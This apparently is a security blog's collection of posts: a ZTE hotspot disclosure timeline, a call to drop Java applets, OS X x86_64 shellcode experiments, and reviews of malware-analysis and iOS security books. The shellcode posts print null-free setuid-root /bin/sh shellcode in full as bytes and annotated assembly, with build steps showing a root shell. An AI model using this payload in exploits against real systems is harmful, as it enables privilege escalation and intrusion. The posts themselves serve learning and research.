“Create your own personal hotspot on the go with the T-Mobile 4G Mobile Hotspot—get high-speed Internet on up to five Wi-Fi devices, using a single mobile broadband connection.”
Link to Product on T-Mobile’s Website
- Reported to T-Mobile and ZTE on 4/14/12.
- Received notification from T-Mobile on 4/17/12 that the vulnerabilities would be forwarded to their security team for review.
- Received no meaningful response from ZTE.
- No fixes provided, disclosure 2/21/13
Device: T-Mobile 4G Mobile Hotspot ZTE MF61
The access point broadcasts as ‘T-Mobile Broadband#’ where # changes per device.
We’ve got a bit of problem: applets.
You see, almost every recent security vulnerability and recent hack – Facebook, Apple, NYT – has been because of your support for applets.
Just to name a few, there’s CVE-2012-3213,CVE-2012-3342,CVE-2013-0351,CVE-2013-0409,CVE-2013-0419,CVE-2013-0423,CVE-2013-0424,CVE-2013-0425,CVE-2013-0426,CVE-2013-0427,CVE-2013-0428,CVE-2013-0429,CVE-2013-0432,CVE-2013-043,CVE-2013-0434,CVE-2013-0435,CVE-2013-0438,CVE-2013-0440,CVE-2013-0441,CVE-2013-0442,CVE-2013-0443,CVE-2013-0445,CVE-2013-0450,CVE-2013-1473,CVE-2013-1475,CVE-2013-1476,CVE-2013-1478,CVE-2013-1480,CVE-2013-1481,CVE-2013-1486,CVE-2013-1487,CVE-2013-1488.
We all make mistakes and nobody is going to blame you (except maybe the malware authors) for getting rid of applets.
Do it! Axe it!
Security Enthusiast and Java Developer
More smaller shellcode, this time, tested and verified working on OSX 10.7.
/* * Name: setuid_shell_x86_64 * Qualities: Null-Free * Platforms: Mac OS X 10.7 Intel x86_64 * * Created on: Apr 12, 2012 * Author: Dustin Schultz - TheXploit.com */ char shellcode = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0" "\x0f\x05\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6" "\x0f\x05";
; File: setuid_shell_x86_64.asm ; Author: Dustin Schultz - TheXploit.com BITS 64 section .text global start start: mov r8b, 0x02 ; Unix class system calls = 2 shl r8, 24 ; shift left 24 to the upper order bits or r8, 0x17 ; setuid = 23, or with class = 0x2000017 xor edi, edi ; zero out edi, uid = 0 mov rax, r8 ; syscall number in rax ; mov rax, 0x2000017 syscall ; invoke kernel add r8, 0x24 ; 0x24+r8=0x200003b mov rax, r8 ; syscall number in rax xor rdx, rdx ; zero out rdx, null terminator ; mov rax, 0x200003b mov rdi, 0x68732f2f6e69622f ; /bin//sh in hex push rdx ; push backwards, null terminator push rdi ; address of /bin//sh mov rdi, rsp ; null terminated /bin/sh pointer push rdx ; push backwards, null terminator push rdi ; address of /bin//sh mov rsi, rsp ; null terminated /bin/sh pointer syscall ; invoke kernel
dustin@sholtz:~/$ nasm -f macho64 shell.s dustin@sholtz:~/$ ld -static -arch x86_64 shell.o dustin@sholtz:~/$ ./a.out bash-3.2#
Bytes from otool:
dustin@sholtz:~/$ otool -t a.out a.out: (__TEXT,__text) section 0000000100000f86 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 0000000100000f96 0f 05 49 83 c0 24 4c 89 c0 48 31 d2 48 bf 2f 62 0000000100000fa6 69 6e 2f 2f 73 68 52 57 48 89 e7 52 57 48 89 e6 0000000100000fb6 0f 05
I’m getting some strange behavior with shellcode that used to work on OS X 10.6. I noticed that if I don’t link with the “-static” option, I get a segfault.
; File: shell.s ; Author: Dustin Schultz - TheXploit.com BITS 64 section .text global start start: xor rdx, rdx mov eax, 0x200003b mov rdi, 0x68732f2f6e69622f push rsi push rdi mov rdi, rsp syscall
dustin@sholtz:~$ nasm -f macho64 shell.s dustin@sholtz:~$ ld -static -arch x86_64 shell.o dustin@sholtz:~$ ./a.out dustin@sholtz:/Users/dustin$ exit
dustin@sholtz:~$ nasm -f macho64 shell.s dustin@sholtz:~$ ld -arch x86_64 shell.o dustin@sholtz:~$ ./a.out Segmentation fault: 11 dustin@sholtz:~$
otool has the same output:
dustin@sholtz:~$ otool -tv static static: (__TEXT,__text) section start: 0000000100000fe7 xorq %rdx,%rdx 0000000100000fea movl $0x0200003b,%eax 0000000100000fef movq $0x68732f2f6e69622f,%rdi 0000000100000ff9 pushq %rsi 0000000100000ffa pushq %rdi 0000000100000ffb movq %rsp,%rdi 0000000100000ffe syscall
dustin@sholtz:~$ otool -tv non-static non-static: (__TEXT,__text) section start: 0000000100000f9f xorq %rdx,%rdx 0000000100000fa2 movl $0x0200003b,%eax 0000000100000fa7 movq $0x68732f2f6e69622f,%rdi 0000000100000fb1 pushq %rsi 0000000100000fb2 pushq %rdi 0000000100000fb3 movq %rsp,%rdi 0000000100000fb6 syscall
The headers on the files look way different but I’m not sure exactly what is causing the issue. For instance, the non-static version has several more Load commands like LC_LOAD_DYLINKER (which is expected).
As pointed out in the comments, I was not initializing rsi correctly! Thanks for pointing that out. The fix was to add this before the last syscall:
push rdx push rdi mov rsi, rsp
This is mainly just a little note for myself. Sometimes when I’m writing shellcode, I’m interested in how OS X implements the syscalls internally. It’s easy to find out with a command like this:
dustin@sholtz:~$ otool -tv /usr/lib/system/libsystem_kernel.dylib | grep -A10 execve ___mac_execve: 0000000000016898 movl $0x0200017c,%eax 000000000001689d movq %rcx,%r10 00000000000168a0 syscall 00000000000168a2 jae 0x000168a9 00000000000168a4 jmp 0x00017ffc 00000000000168a9 ret 00000000000168aa nop 00000000000168ab nop ___mac_get_fd: 00000000000168ac movl $0x02000184,%eax -- _execve: 00000000000173e0 movl $0x0200003b,%eax 00000000000173e5 movq %rcx,%r10 00000000000173e8 syscall 00000000000173ea jae 0x000173f1 00000000000173ec jmp 0x00017ffc 00000000000173f1 ret 00000000000173f2 nop 00000000000173f3 nop _fchdir: 00000000000173f4 movl $0x0200000d,%eax dustin@sholtz:~$
This will find the execve syscall implementation. I still haven’t figured out where the parameters are getting setup but this is definitely where the syscall number is getting moved into rax. It moves whatever was in rcx because it gets smashed by the kernel when syscall is invoked.
I’ve been dying to get this review out for a while now. There’s so much good and deep content in this book, that reading it on nights after work and weekends took longer than expected! I’ll tell you now that if you’re into computers and computer security, this book won’t let you down.This book is like having your very own personal malware analysis teacher without the expensive training costs.
About the Book
The book material is exhaustingly complete with 21 chapters + appendices covering everything from static analysis, environment setup, x86 assembly to anti-disassembly and anti-virtual machine practices. Total book content, minus lab solutions comes in at an enormous 475 pages (with lab solutions, 732 pages) . Let’s just say that you better be prepared to eat, breathe, and live malware analysis for quite some time. The skill level for the book is targeted at someone with experience in programming and security although an ambitious beginner should do fine. (more…)
I’m about half way through Practical Malware Analysis and let me just say … this book is awesome! Quote me on this: I guarantee this book will go down in history as one of the best in its class. Look out for my full review!
About the Book
Hacking and Securing iOS Applications is a recently released book by Jonathan Zdziarski. This book is aimed to teach you how to
- Compromise an iOS device
- Steal the filesystem of an iOS device
- Abuse the Objective-C runtime
- Defeat iOS built in encryption
- Protect your own applications
and much, much, more! The book comes in at just shy of 400 pages. Each chapter is broken into a specific topic and builds on previous chapters. However, there are a few chapters which are self contained and could be read without prior knowledge (e.g. Chapter 13 – Jailbreak Detection).
Audience, Skill Level, & Prereqs
This book is targeted at app developers and the how-does-ios-work-and-how-can-I-manipulate-it type person (I try not to use the term “Hacker”). Jonathan also uses the term tinkers – I like that one too!
One Security Fix Introduces Another
Today, Stefan Esser (@i0n1c) reported a critical remotely exploitable vulnerability in PHP 5.3.9 (update assigned CVE-2012-0830). The funny thing is that this vulnerability was introduced in the fix for the hash collision DOS (CVE-2011-4885) reported in December.